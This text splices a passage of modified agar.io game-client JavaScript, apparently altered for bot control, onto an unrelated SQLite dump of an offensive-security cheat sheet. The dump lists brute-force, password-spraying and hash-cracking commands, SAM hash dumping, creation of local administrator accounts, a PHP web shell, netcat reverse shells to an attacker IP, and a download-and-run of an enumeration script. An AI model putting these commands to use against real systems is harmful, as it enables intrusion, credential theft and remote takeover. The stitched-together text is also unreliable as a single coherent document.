"https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["Vilhena"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.bot

    From organization dickdumbr1

  • don-no7 / hack-sql

    names.io, -- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''<hash>''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file <hash file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\<HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l <user wordlist> -p 123 <HOST_IP> http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=<output string on failure>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u <user> -p <pass> -H <host IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url <wp site> --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d <domain> -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp <port #>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc <attacker ip> <attacker port>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http://<IP> -w <wordlist> -x <extention> -c PHPSESSID=<cookie val>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r <IP> --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john <HASHES_FILE> --wordlist=<wordlist>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john <Unshadowed passwds>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow <passwd> <shadow>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and 